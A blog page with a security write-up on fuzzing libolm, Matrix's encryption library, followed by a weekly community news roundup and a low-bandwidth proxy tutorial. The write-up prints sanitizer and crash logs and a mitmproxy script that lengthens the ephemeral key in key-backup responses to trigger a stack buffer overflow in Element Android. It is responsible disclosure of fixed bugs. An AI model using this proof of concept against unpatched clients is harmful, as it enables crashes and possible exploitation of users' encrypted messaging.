Adventures in fuzzing libolm

2021-06-14 — Security, Research — Denis Kasak


Hi all! My name is Denis and I'm a security researcher. Six months ago, I started working for Element on doing dedicated security research on important Matrix projects. After some initial focus on Synapse, I decided to take a closer look at libolm. In this entry, I'd like to present an overview of that work, along with some early fruits that came out of it.

TL;DR: we found some bugs which had crept in since libolm's original audit in 2016, thanks to properly overhauling our fuzzing capability, and we'd like to tell you all about it! The bugs were not easily exploitable (if at all), and have already been fixed.

To give a bit of a background, libolm is a cryptographic library implementing the Double Ratchet Algorithm pioneered by Signal and it is the cryptographic workhorse behind Matrix. The classic algorithm is called Olm in Matrix land, but libolm also implements Megolm which is a variant for efficient encrypted group chats between many participants.

Since libolm is currently used in all Matrix clients supporting end-to-end encryption, it makes for a particularly juicy target. The present state of libolm's monopoly on Matrix encryption is somewhat unfortunate -- luckily there are some exciting new developments on the horizon, such as the vodozemac implementation in Rust. But for now, we're stuck with libolm.

To start, I decided to do a bit of fuzzing. libolm already had a fuzzing setup using AFL, but it was written a while ago. The state of the art in fuzzing had advanced quite rapidly in the last few years, so the setup was missing many modern features and techniques. As an example, the fuzzing setup was configured to use the now ancient afl-gcc coverage mode, which can be slower than the more modern LLVM-based coverage by a factor of 2.

I also noticed that the fuzzing was done with non-hardened binaries (instead of using something like ASAN), so many memory errors could've gone unnoticed. There were also no corpora available from previous fuzzing runs and some of the newer code was not covered by the harnesses.


I decided to tackle these one by one, adding ASAN and MSAN builds as a first step. I took the opportunity to switch to AFL++ since it is a drop-in replacement and contains numerous improvements, notably improved coverage modes which are either much faster (e.g. LLVM-PCGUARD) or guaranteed to have no collisions (LTO)1. AFL++ also optimizes mutation scheduling (by using scheduling algorithms from AFLFast) and mutation operator selection (through MOpt). All of this makes it much more efficient at discovering bugs.

After this, I changed the existing harnesses to use AFL's persistent mode (which lowers process creation overhead and thus increases fuzzing performance). This change, combined with the switch to a newer coverage mode, increased the fuzzing exec/s from ~2.5k to ~5.5k on my machine, so this is not an insignificant gain!

After this preparatory work, I generated a small initial corpus and ran a small fleet of fuzzers with varying parameters. Almost immediately, I started getting heaps of crashes. Luckily, after some investigation, these turned out not to be serious bugs in the library but a double-free in the fuzzing harness! The double-free only got triggered when the input was of size 0. It also only happened with AFL++ and not vanilla AFL, presumably due to differences in input trimming logic, which must be the reason no one noticed this earlier. I quickly came up with a patch and resumed.

The plot thickens

I let the fuzzers run for a while. Since ASAN introduces a bit of a performance overhead, I only run a single AFL instance with ASAN variant of the binary. This is okay because all fuzzer instances actually synchronize their findings, which means every instance gets to see every input which increases coverage. When I came back to check, there was another crash waiting. This time the crashing input wasn't being generated continually so it looked much more promising -- and only the ASAN instance was crashing. A-ha!

Running the offending input on the ASAN variant of the harness revealed it was an invalid read one byte past the end of a heap buffer. The read was happening in the base64 decoder:

❮ ./build/fuzzers/fuzz_group_decrypt_asan "" pickled-inbound-group-session.txt <input
==1838065==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf4a00795 at pc 0x56560660 bp 0xffff9df8 sp 0xffff9de8
READ of size 1 at 0xf4a00795 thread T0
    #0 0x5656065f in olm::decode_base64(unsigned char const*, unsigned int, unsigned char*) src/base64.cpp:124
    #1 0x565607b5 in _olm_decode_base64 src/base64.cpp:165
    #2 0x565d5a9e in olm_group_decrypt_max_plaintext_length src/inbound_group_session.c:304
    #3 0x56558e75 in main fuzzers/fuzz_group_decrypt.cpp:46
    #4 0xf7509a0c in __libc_start_main (/usr/lib32/
    #5 0x5655a0f4 in _start (/home/dkasak/code/olm/build/fuzzers/fuzz_group_decrypt_asan+0x50f4)

0xf4a00795 is located 0 bytes to the right of 5-byte region [0xf4a00790,0xf4a00795)
allocated by thread T0 here:
    #0 0xf7a985c5 in __interceptor_malloc /build/gcc/src/gcc/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x56558ce3 in main fuzzers/fuzz_group_decrypt.cpp:32
    #2 0xf7509a0c in __libc_start_main (/usr/lib32/

SUMMARY: AddressSanitizer: heap-buffer-overflow src/base64.cpp:124 in olm::decode_base64(unsigned char const*, unsigned int, unsigned char*)
Shadow bytes around the buggy address:
  0x3e9400a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e9400b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e9400c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e9400d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e9400e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3e9400f0: fa fa[05]fa fa fa 05 fa fa fa fa fa fa fa fa fa
  0x3e940100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e940110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e940120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e940130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e940140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc

Following the stack trace, I quickly pinpointed the root of the bug: the logic of the decoder was subtly flawed, unconditionally accessing a remainder byte2 in the base64 input which might not actually be there. This occurs when the input is 1 (mod 4) in length, which can never happen in a valid base64 payload, but of course we cannot assume all inputs are necessarily valid payloads. Specifically, if the payload was not 0 (mod 4) in length, the code was assuming it was at least 2 (mod 4) or more in length and immediately read the second byte. This spurious byte was then incorporated into the output value.

I examined the code in an attempt to find a way to have it leak more than a single byte, but it was impossible. As it turned out, not even the full byte of useful information was encoded into the output -- due to the way the byte is encoded, only about 6 bits of useful information ended up in the output value.

Still, even a single leaked bit is too much in a cryptographic context. Could we do some heap hacking so that something of interest is placed there and then have it be leaked to us?

I next tracked down all call sites of the vulnerable function olm::decode_base64. Most of them were immune to the problem since they were preceded with calls to another function, olm::decode_base64_length, which checks that the base64 payload is of legal length. This left me with only a few potentially vulnerable call sites, so I examined where their base64 inputs come from. Promisingly, two of them received input from other conversation participants, but they either had no way of leaking the information back to the attacker or they hardcoded the number of bytes to be processed, after ensuring the input was of some minimum length. The output of the remaining function olm_pk_decrypt is never sent anywhere externally, so there was again no way of leaking the data to the attacker.

In conclusion, even though this invalid read is a valid bug, I was not able to find a working exploit for it.

But wait a second! Something was still bothering me about olm_pk_decrypt. It's a fairly complex function, receives several string inputs from the homeserver and it itself isn't tested by any of the harnesses. Furthermore, the reason I started looking at it in the first place is that it was missing the olm::decode_base64_length check. Perhaps it warrants a closer look?

It does

And sure enough, there was something amiss. As olm_pk_decrypt receives three base64 inputs from the homeserver: the ciphertext to decrypt, an ephemeral public key and a MAC. All three are eventually passed to olm::decode_base64 to be decoded. Yet there was only a single length check there, to ensure the decrypted ciphertext would fit its output buffer. What would happen if the server returned a public key that was longer than expected?

struct _olm_curve25519_public_key ephemeral;
    (const uint8_t*)ephemeral_key, ephemeral_key_length,
    (uint8_t *)ephemeral.public_key

As can be seen from the snippet, the decoded version of public key gets written to ephemeral.public_key, which is an array allocated on the stack. If the input is longer than expected, this will become a stack buffer overflow.

The purpose of olm_pk_decrypt is to decrypt secrets previously stored by a Matrix device on the homeserver. The point of encryption is to prevent the server from learning these secrets since they're supposed to be known only by your own devices. One use case for this mechanism is to allow one of your devices to store encrypted end-to-end encryption keys on the homeserver. Your other devices can then retrieve those keys from the homeserver, making it possible to view all of your private conversations on each of your devices.

I decided to go for an end-to-end test to confirm the bug is triggerable by connecting with the latest Element Android from my test phone to my homeserver, with mitmproxy sitting in between. This allowed me to write a small mitmproxy script which intercepts HTTP calls fetching the E2E encryption keys from the homeserver and modifies the response so that the key is longer than expected.

import json

from mitmproxy import ctx, http

def response(flow: http.HTTPFlow) -> None:
    if ("/_matrix/client/unstable/room_keys/keys" in flow.request.pretty_url
            and flow.request.method == "GET"):

        response_body = flow.response.content.decode("utf-8")
        response_json = json.loads(response_body)

        rooms = response_json["rooms"]
        room_id = list(rooms.keys())[0]

        sessions = rooms[room_id]["sessions"]
        session = list(sessions.keys())[0]
        session_data = sessions[session]["session_data"]

        ephemeral = session_data["ephemeral"]"Replacing ephemeral key '{ephemeral}' with '{ephemeral * 10}'")
        session_data["ephemeral"] = ephemeral * 10

        modified_body = json.dumps(response_json).encode("utf-8")
        flow.response.content = modified_body

This longer value is then eventually passed by Element Android to libolm's olm_pk_decrypt, which triggers the buffer overflow. With all of that in place, I deleted the local encryption key backup on my device and asked for it to be restored from the server:

F libc    : stack corruption detected (-fstack-protector)
F libc    : Fatal signal 6 (SIGABRT), code -6 (SI_TKILL) in tid 24517 (DefaultDispatch), pid 24459 (
F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
F DEBUG   : Build fingerprint: 'xiaomi/tissot/tissot_sprout:9/PKQ1.180917.001/V10.0.24.0.PDHMIXM:user/release-keys'
F DEBUG   : Revision: '0'
F DEBUG   : ABI: 'arm64'
F DEBUG   : pid: 24459, tid: 24517, name: DefaultDispatch  >>> <<<
F DEBUG   : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------
F DEBUG   : Abort message: 'stack corruption detected (-fstack-protector)'
F DEBUG   :     x0  0000000000000000  x1  0000000000005fc5  x2  0000000000000006  x3  0000000000000008
F DEBUG   :     x4  0000000000000000  x5  0000000000000000  x6  0000000000000000  x7  0000000000000030
F DEBUG   :     x8  0000000000000083  x9  7d545b4513138652  x10 0000000000000000  x11 fffffffc7ffffbdf
F DEBUG   :     x12 0000000000000001  x13 0000000060b0f2a9  x14 0022ed916fede200  x15 0000d925cd93f18f
F DEBUG   :     x16 00000079e741b2b0  x17 00000079e733c9d8  x18 0000000000000000  x19 0000000000005f8b
F DEBUG   :     x20 0000000000005fc5  x21 0000007940e3c400  x22 000000000000026b  x23 00000000000001d0
F DEBUG   :     x24 000000000000002f  x25 000000793d9653f0  x26 0000007948303368  x27 0000007945dd5588
F DEBUG   :     x28 00000000000001d0  x29 0000007945dd37d0
F DEBUG   :     sp  0000007945dd3790  lr  00000079e732e00c  pc  00000079e732e034


This vulnerability is a server-controlled stack buffer overflow in Matrix clients supporting room key backup.

Of course, the largest fear stemming from any remotely controlled stack buffer overflow is code execution. This is perhaps even doubly so in a cryptographic library, where we have the additional worry of an attacker being able to leak our dearly protected conversations.

The federated architecture of Matrix may be somewhat of a mitigating circumstance in this case, since users are much more likely to know and trust the homeserver owner, but we don't want to have to rely on this trust.

Native binaries

Luckily, on its own, this bug is not enough to successfully execute code on native binaries. By default, libolm is compiled for all supported targets with stack canaries (also called stack protectors or stack cookies), which are magic values unknown to the attacker, placed just before the current function's frame on the stack. This value is checked upon returning from the function -- if its value is changed, the process aborts itself to prevent further damage. This is evident from the Abort message: 'stack corruption detected (-fstack-protector)' message above. Besides canaries, other system-level protections exist to make exploiting bugs such as this harder, such as ASLR.

Therefore, to achieve remote code execution, an attacker would need to find additional vulnerabilities which would allow him to exfiltrate the stack canary and addresses of key memory locations from the system.


With WASM, the analysis is much more complicated due to its very different memory and execution model. In WASM, the unmanaged stack is generally much more vulnerable due to it missing support for stack canaries. This implies a stack buffer overflow can not only overwrite the frame of the function in which the overflow occurred but also all parent frames.

On the other hand, due to typed calls and much stronger control-flow integrity techniques, it's much harder for the attacker to make the code do something that is (maliciously) useful. Notably, return addresses live outside unmanaged memory and are out of reach to the attacker. Because of this, the primary way of influencing code execution is by manipulating call_indirect instructions in such a way as to call.

The analysis of the impact of this bug on the WASM binary is thus left as an exercise to the reader. If you're interested, the 2020 USENIX paper Everything Old is New Again: Binary Security of WebAssembly is a great starting point.

The fix

Once the problems were identified, the patches were rather trivial and the issues were promptly resolved. The first libolm release that includes the fix is 3.2.3 which was released on 2021-05-25.

We reached out to all Matrix clients which were determined to be affected. The Element client versions which first fix the issue are as follows:

  • Element Web/Desktop: v1.7.29
  • Element Android: v1.1.9
  • Element iOS: v1.4.0

For the mobile clients, these versions are already available in their respective application stores at the time of publishing this post. If you haven't already, please upgrade.

Future work

Even though the fuzzing setup is in a much better shape now (or rather will be, since I still have some PRs to merge upstream), there's still a lot that can be done to further improve it.

Right now, there are undoubtedly parts of the codebase that are not fuzzed well. The reasons for this range from the obvious, like some parts of the code simply not being called by any the existing harnesses, to more subtle ones such as the fact that cryptographic operations form a nearly-insurmountable natural barrier for naive fuzzing operations3. Finally, some of the existing harnesses accept additional parameters as command-line arguments, meaning we would have to re-run the same harness with different values of those parameters in order to reach full coverage of the code. This is suboptimal.

So the plan for future work is roughly as follows:

  1. Write missing harnesses to cover more portions of the codebase.
  2. Write starting corpus generators. These should generate believable, valid input for each of the harnesses. For example, for the decryption harness, we should generate a variety of encrypted messages: empty, short, long, text, binary, etc.
  3. Modify the harnesses so that their extra parameters are determined from the fuzzed input. This will allow the fuzzer to vary these itself, which reduces the importance of the human in the loop and makes it harder to forget some combination.
  4. Fuzz for some time until coverage stops increasing. The corpora generated should be saved so that future fuzzing attempts can resume from an earlier point so that this work is not wasted.
  5. Use afl-cov to investigate which parts of the code are not covered well or at all. This should inform us what further changes are needed.
  6. Write intelligent, custom mutators. These will allow the fuzzer to take a valid input and easily produce another valid input instead of only corrupting it with a high probability.
  7. Design harnesses which test for wanted semantic properties instead of only memory errors.

It's very exciting that we're able to do full-time security research on Matrix these days (thanks to Element's funding), and going forwards we'll publish any interesting discoveries for the visibility and education of the whole Matrix community. We'd also like to remind everyone that we run an official Security Disclosure Policy for and we'd welcome other researchers to come join our Hall of Fame! (And hopefully we will get more bounty programmes running in future.)

  1. In the context of fuzzing, collisions are situations where two different execution paths appear to the fuzzer as the same one due to technical limitations. Classically, AFL tracks coverage by tracking so-called "edges" (or "tuples"). Edges are really pairs of (A, B), where A and B represent basic blocks. Each edge is meant to represent a different execution "jump", but sometimes, as the number of basic blocks in a program grows, two different execution paths can end up being encoded as the same edge. LTO mode in AFL++ does some magic so that this is guaranteed not to happen.
  2. By remainder byte, I mean bytes which are not part of a group of 4. These can only occur at the end of a base64 payload and they're the ones that get suffixed with padding in padded base64.
  3. Classic fuzzers famously have a hard time circumventing magic values and checksums, and cryptography is full of these. This is further complicated by the fact that the double ratchet algorithm is very stateful and depends on the two ratchets evolving in lockstep. This means that even if, for example, the decryption harness is supplied with a corpus of valid encrypted messages, the mutations done by the fuzzer would only manage to produce corrupted versions of those messages which will fail to decrypt, but it will ~never manage to produce a different valid encrypted message.

This Week in Matrix 2021-06-11

2021-06-11 — This Week in Matrix — Ben Parsons

Matrix Live 🎙

Dept of Status of Matrix 🌡️

Room of the week

timokoesters said:

Hi everyone! Did you ever feel lost in the Matrix world? The room directory is big, but it's still hard to find something you like. Or are you a room moderator, but there is not much activity in your room because it doesn't have enough users?

This is why I want to share rooms (or spaces) I find interesting.

This week's room is:

"Share your artwork and drawings and chat about it. You don't have to be good!"

If you want to suggest a room for this section, send an email to

[email protected] or a Matrix message in

Yep, go ahead and email your suggested Matrix room-of-the-week to Timo!

Dept of Spec 📜

kegan said:

MSC3079: Low Bandwidth CS API now has an experimental implementation containing a proxy server and mobile bindings! In addition, there's a blog post explaining how to use this implementation to add low bandwidth support to your servers/clients! This implementation will use about 22% of the bandwidth that the normal CS API would use. Please be aware that low bandwidth Matrix is in its infancy and is subject to change without notice.

anoa said:

Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at

MSC Status

Merged MSCs:

  • No MSCs were merged this week.

MSCs in Final Comment Period:

New MSCs:

Spec Updates

Mostly Spaces and E2EE work this week. New spec release is still in the works.

Graph will return in a future edition!

Dept of P2P 👥


Neil Alexander told us:

I have spent quite a bit of time lately working on Pinecone network convergence for P2P Matrix. There's still quite a bit to do in order to call Pinecone "complete", but a network of 50 nodes now bootstraps entirely from cold much more quickly and converges on full end-to-end reachability in roughly 6 seconds. This is a significant improvement to before! Keep an eye out for future P2P Matrix demo builds using these new protocol changes.


This chart also represents interest in Pinecone over time!

Dept of Servers 🏢


Conduit is a Matrix homeserver written in Rust

timokoesters told us:

Hello! The last two weeks I mostly tried to make our database backend swappable so we don't need to rely on the sled database anymore. I was able to try out rocksdb, but there were bugs in the rust bindings which required inefficient and unsafe workarounds.

If you know about other key-value databases that work better with Rust, please comment on the issue:

  • Feature: Swappable database backend

  • Improvement: Don't apply push rules for users of other homeservers

  • Fix: is_direct now works for locally invited users

  • Fix: Deactivated accounts are now actually deactivated (-> performance improvements for appservice puppets)


f0x offered:

This week I implemented the remaining API route for URL previewing. Already has some nicer url preview results like showing images with Twitter posts and proper YouTube previews instead of the cookie wall text :)

With this, synapse-media-proxy should be a drop-in overlay for all Synapse's /_matrix/media routes. I don't really recommend using it in prod yet however, but I have a test instance that could use some responsible disclosure pentesting at, please DM me if you find anything :)
synapse-media-proxy now has a room at



Synapse is a popular homeserver written in Python.

callahad reported:

🚪 Knock, knock... It's Friday!

After over a year of work and over a hundred commits, we're now one major step closer to supporting MSC 2403: Add "Knock" feature, which allows users to request admission to rooms which would otherwise be invite-only. Specifically, last Wednesday we merged (#6739) which is an experimental implementation of the MSC, under an unstable prefix. Knocking is not available in any current room versions — we need to implement room version 7 for that — but the remaining work is minimal¹ compared to what it took to get to this point. 🙂 Major kudos to Sorunome, Anoa, and Clokep for their work on both the spec and implementation.

Otherwise we're looking forward to releasing Synapse 1.36 early next week, and we have some great things in store... but I'll not spoil them today! 🤫

From everyone on the Synapse team, have a great weekend!

¹: Well, on the server-side at least. No clients support knocking, yet...

Homeserver Deployment 📥️


Ananace reported:

This week too comes with an update on the Helm Charts I'm maintaining, with an update of element-web to 1.7.30

Docker-based development environment for Matrix

psrpinto wrote:

Hi folks. Some time ago I asked here about any projects that provided a local Matrix "node" through docker, and it seemed not much existed in that space, so I went ahead and created the following repo:

Docker-based development environment for Matrix. Provides a local sandbox with the following pre-configured services:

  • synapse: the reference homeserver implementation
  • synapse-admin: homeserver admin UI
  • element: a web-based Matrix client

If this is something that would be useful to you, feel free to give it a try and send some feedback, either here or through GitHub issues. Thanks in advance! I hope this is helpful to some of you 🙇

Thanks uhoreg for passing this on! Looks like a really useful way to get a local env running

Dept of Bridges 🌉 IRC bridge work continues

Half-Shot reported:

Hi folks, just a quick update on the bridge situation. We're still rapidly working on the bridge, the milestone highlights for this week are:

  • Nearly 6k Matrix users are now connected to IRC and growing by the minute.

  • We're midway though our #matrix* Freenode to Libera channel/bridge migrations.

  • FOSDEM has been migrated over

  • We're still working through our backlog of migration requests from users, a lot of you phoned in!

We're still continuing to rapidly work on the bridge, with a release expected on Monday 🤞. For any of you who aren't in the know yet, you can start bridging to by simply joining a channel like or by searching the room directory.

I'm hoping we'll be nearing the end of our jouney on this bridge, and it will settle into a natural stable state over the coming days! Anyway, thanks everyone for your patience and we hope to see you on Matrix or IRC!

IRC Bridge 0.27.0-rc1 leaps out of the gate

Half-Shot offered:

Hi bridge followers, today we've released 0.27.0-rc1 of the IRC bridge containing a huge number of changes following all the work we've been doing on Notable things to call out in this release are:

  • We've refactored the node-irc library to be typescripty and modern, rather than the quite old JS that it was.

  • SASL support for username/password auth has landed, which hopefully means a smoother login process for many. (We're aware of some issues around setting usernames, watch this space)

  • Allowing you to spin up the bridge with complete control over the alias namespace of a host (e.g. links to #libera).

  • And finally, a privacy feature to block incoming IRC messages when Matrix users are not all joined which is requested by some IRC networks.

Please report bugs as you see them to, and let's all pray this will be a smooth release :)


Fair offered:

matrix-puppeteer-line: A bridge for LINE Messenger based on running LINE's Chrome extension in Puppeteer.

Read receipt improvements are here! They are in temporary branches until they've been tested for stability:

  • The better-receipts-dm branch contains some smarts to prevent Puppeteer from having to "view" a LINE DM chat in order to sync it, which would make the contact you're DMing think you've read their messages when it was really Puppeteer that "saw" them. However, this doesn't work for non-text messages (like images) or messages in group chats.

  • The better-receipts-msc2409 branch (which extends the above branch) uses MSC2409 to detect when you read a bridged message on Matrix, so it can tell Puppeteer to view it on LINE on your behalf. This will let your LINE contacts know when you've read their messages.

After this, only a few read receipt improvements are left to be made:

  • Make Puppeteer check all LINE chats (not just the most recently-used one) to see if messages you sent have been read (in LINE). This will work by cycling through all LINE chats where the final message is posted by you and doesn't have a "Read" marker on it yet.

  • Use MSC2409 to avoid having to view a LINE chat when syncing non-text messages (like images). The idea is to send a placeholder message that will get replaced with the real message (which requires Puppeteer to view the LINE chat) only when you actually view the placeholder.


Issue page:

Dept of Clients 📱


Nheko is a desktop client using Qt, Boost.Asio and C++17. It supports E2EE and intends to be full featured and nice to look at

Nico ( reported:

I've been slowly refactoring the room and communities list to prepare it for spaces. This work is now mostly complete, changing ~4000 lines of code, of which 1500 just got deleted. All of the sidebars are now expandable and collapsible, so you can see the full name of your tags and communities and the lists should also update more dynamically now. Startup also only takes half as long as before on my system and Nheko uses 100MB less memory for my account. Next week I'll probably add spaces to the communites list as well as the room list.

Apart from that LorenDB has been rewriting the member list as well as the invite dialog in Qml and manu has been making progress on the room directory. All of that seems to be coming along nicely and behave much more reasonably than the old versions. There has also been a lot of progress on the Italian and Esperanto translations as well as a few smaller bug fixes and performance improvements.

I hope we will make it to space next week!



Element Clients

Updates from the teams.

Delight, a team aiming to delight users

  • We’re making good progress on the ability to re-order Spaces on Web & Android, expected to land soon!
  • We’re also adding aliases to Space creation, to make it easier to share and onboard other users
  • On iOS, we recently merged a refactor with a new sidebar design which lays the foundations for iOS joining the Spaces beta
  • We’ve also been working on adding pagination to the Space Summary API on Synapse
  • Meanwhile, we’re also shepherding various MSCs through the spec process to improve private Spaces in the very near future


  • 1.7.30 released on Monday
  • On develop
    • Upgraded to React 17
    • First GitHub Actions pipeline for web
  • In flight
    • Continuing to improve application performance
    • Adding dashboard for performance benchmarks
    • Working on Apple silicon desktop builds
    • Working on translation mismatch errors


  • 1.4.1 released on Tuesday on the App Store
  • The new side menu and voice messages are coming.
  • We are setting up Towncrier to avoid merge conflicts on our CHANGES files. Those conflict prevent Github Actions, our CI, from starting
  • We fixed several annoying bugs regarding VoIP and app stability


  • Element Android 1.1.9 has been pushed to production
  • We are working with the design team on the dark and light themes, not forgetting the black theme, to ensure some coherence across the application and also to clean up some legacy code. There were too many shades of grey… We will also do the same work on TextAppearance.


Carl Schwan said:

This week was a busy week for NeoChat. We added tons of cool stuff! We rewrote the setting page to add a bit of organization in the settings. This also pushed us to add new appearance options. You can now add a blur effect as background, change the color scheme of NeoChat and switch between bubbles and a more compact layout as you wish.



Another thing we worked on was spellchecking. NeoChat will now add a small red underline under misspelled words and will suggest corrections. This is using the Sonnet frameworks and will integrates perfectly with your personal dictionary from your other KDE apps.


Finally something we added two weeks ago but forgot to mention, we added a quick room switcher using the Ctrl + K shortcut.


Dept of SDKs and Frameworks 🧰


kitsune reported:

Another small release - libQuotient 0.6.7 is out, fixing an issue causing NeoChat to not add rooms to the roomlist after joining. Thanks to Carl Schwan for hunting the problem down!

Tobias Fella added:

Apparently my work-in-progress end-to-end-encryption implementation for libQuotient was bad enough to cause performance problems on my homeserver (Sorry about that!). This should be fixed now 🙂

Dept of Interesting Projects 🛰️


MTRNord announced:


  • Server now uses warp instead of actix-web

  • /relations request instead of 10s now takes 2s overall

  • Added a /servers api endpoint which returns all servers based on the room_ids. (It splits of the server_name from room_ids and puts them into an array)

Bug Fixes

  • Aliases with emoji will now get recognized.

Thanks to jo , Nico , joepie91 🏳️‍🌈 and poljar for helping to archive these improvements and hinting where improvements were possible to be made :)

Dept of Guides 🧭

A guide for creating simple Matrix bots with Python and Simple-Matrix-Bot-Lib

krazykirby99999 told us:

Simple-Matrix-Bot-Lib allows anyone who needs a bot in a Matrix Room to do so without having to spend unnecessary time learning a complex framework!

Dept of Grants 💰️

Code Lutin grant program

numéro6 told us:

If you live in France (or eurozone) and your Matrix-related project need some funds, you may candidate to the 2021 #MécénatCodeLutin grant program for FLOSS by Code Lutin. Canditates may fill the dedicated form before july 8th.

Dept of Ping 🏓

Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by pingbot, a maubot that you can host on your own server.

Join to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS

Join to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS

That's all I know 🏁

See you next week, and be sure to stop by with your updates!

Low Bandwidth Matrix: An implementation guide

2021-06-10 — Tutorials — Kegan Dougal

Disclaimer: Low bandwidth Matrix is experimental, not yet standardised, and subject to change without notice.

This guide is for Matrix developers who want to support MSC3079: Low Bandwidth CS API in their clients/servers. Please read the experimental MSC if you want to learn more about what is happening at a protocol level. If you want a high level overview of low bandwidth Matrix and why you should care, watch the 12 minute demo on Matrix Live.

Matrix currently uses HTTP APIs with JSON data to communicate from the client to the server. This is widely supported but is not very bandwidth efficient. This means that the protocol is slower, more costly and less able to be used on low bandwidth links (e.g 2G networks) which are common in certain parts of the world. MSC3079 defines a low bandwidth protocol using CoAP and CBOR instead of HTTP and JSON respectively. In the future homeservers will natively support some form of low bandwidth protocol. However, at present, no homeserver natively supports MSC3079. Therefore, this guide will set up a low bandwidth proxy server which can be put in front of any Matrix homeserver (Synapse, Dendrite, Conduit, etc) to make it MSC3079-compatible. This guide will also configure an Android device to speak MSC3079.

Low bandwidth Matrix currently does not support web browsers due to their inability to send UDP traffic. You do not need to be running a homeserver to follow this tutorial.

Setting up a low bandwidth proxy for your homeserver


  • Go 1.13+
  • openssl to generate a self-signed DTLS certificate, or an existing certificate you want to use.
  • Linux or Mac user


  • Clone the repo: git clone
  • Build the low bandwidth proxy: go build ./cmd/proxy
  • Generate a elliptic curve DTLS key/certificate: (we use curve keys as they are smaller than RSA keys, but both work.)
    openssl ecparam -name prime256v1 -genkey -noout -out private-key.pem
    openssl req -new -x509 -key private-key.pem -out cert.pem -days 365
    # you now have cert.pem and private-key.pem
  • Run it pointing at
    ./proxy -local '' \
    --tls-cert cert.pem --tls-key private-key.pem \
    --advertise "" \
    --dtls-bind-addr :8008
  • You should see something like this:
    INFO[0000] Listening on :8008/tcp to reverse proxy from to - HTTPS enabled: false 
    INFO[0000] Listening for DTLS on :8008 - ACK piggyback period: 5s

Mac users: If you are having trouble generating EC certificates, make sure you are using OpenSSL and not LibreSSL which comes by default: openssl version. To use OpenSSL, brew install openssl which then dumps the binary to /usr/local/opt/openssl/bin/openssl.

To test it is working correctly:

# build command line tools we can use to act as a low bandwidth client
go build ./cmd/jc
go build ./cmd/coap

# do a CoAP GET request to via the proxy
./coap -X GET -k 'http://localhost:8008/_matrix/client/versions' | ./jc -c2j '-'


If this doesn't work:

  • Check the proxy logs for errors (e.g bad hostname)
  • Try adding -v to ./coap (e.g bad method or path)
  • Run the proxy with SSLKEYLOGFILE=ssl.log and inspect the decrypted traffic using Wireshark.

Otherwise, congratulations! You now have a low bandwidth proxy! You can connect to your proxy just like you would to or any other homeserver.

Security considerations

  • The proxy acts as a man in the middle and can read all non-E2EE traffic, including login credentials. DO NOT USE UNTRUSTED LOW BANDWIDTH PROXY SERVERS. Only use proxy servers run by yourself or the homeserver admins.

Further reading

Setting up a custom Element Android

We'll add low bandwidth matrix to Element Android and iOS by default once it's standardised - but while things are still experimental, here's a guide for how to build Element Android to do it yourself if you feel the urge. This can be used as inspiration for other Matrix clients too.


  • Android Studio


  • Clone the repo: git clone
  • Checkout kegan/lb: git checkout kegan/lb. This branch replaces all HTTP traffic going to /_matrix/client/* with LB traffic. /_matrix/media traffic is left untouched. This branch also disables TLS checks entirely so self-signed certificates will work.
  • Clone the low bandwidth repo if you haven't already: git clone
  • In the low bandwidth repo, build the mobile bindings:
    go get
    cd mobile
    # if gomobile isn't on your path, then ~/go/bin/gomobile
    gomobile bind -target=android
  • Copy the output files to a directory in the Element Android repo which Gradle will pick up:
    mkdir $PATH_TO_ELEMENT_ANDROID_REPO/matrix-sdk-android/libs
    cp mobile-sources.jar $PATH_TO_ELEMENT_ANDROID_REPO/matrix-sdk-android/libs
    cp mobile.aar $PATH_TO_ELEMENT_ANDROID_REPO/matrix-sdk-android/libs
  • Open the project in Android Studio.
  • Build and run on a device/emulator.
  • Configure the proxy's --advertise address. If you are running on a local device, restart the proxy with an --advertise of your machines LAN IP e.g instead of If you are running on an emulator, restart the proxy with an --advertise of the host IP: The URL scheme should be https not http, else image loading won't work as Element Android won't download media over http.
  • Login to your account via the proxy with the --advertise address as the HS URL e.g or The port is important.

To verify it is running via low bandwidth:

  • Install Wireshark.
  • Restart the proxy with the environment variable SSLKEYLOGFILE=ssl.log.
  • Run tcpdump on the right interface e.g: sudo tcpdump -i en0 -s 0 -v port 8008 -w lb.pcap
  • Force stop the android app to forcibly close any existing DTLS connections.
  • Re-open the app.
  • Open lb.pcap in Wireshark and set ssl.log as the Pre-Master Secret log filename via Preferences -> Protocols -> TLS -> Pre-Master Secret log filename.
  • Check there is DTLS/CoAP traffic.


To send a single 'Hello World' message to /room/$room_id/send/$txn_id and receive the response, including connection setup:

ProtocolNum packetsTotal bytes


  • CoAP OBSERVE is not enabled by default. This extension allows the server to push data to the client so the client doesn't need to long-poll. It is not yet enabled because of the risk of state synchronisation issues between the proxy and the client. If the proxy gets restarted, the client will not receive sync updates until it refreshes its subscription, which happens infrequently. During this time the client is not aware that anything is wrong.
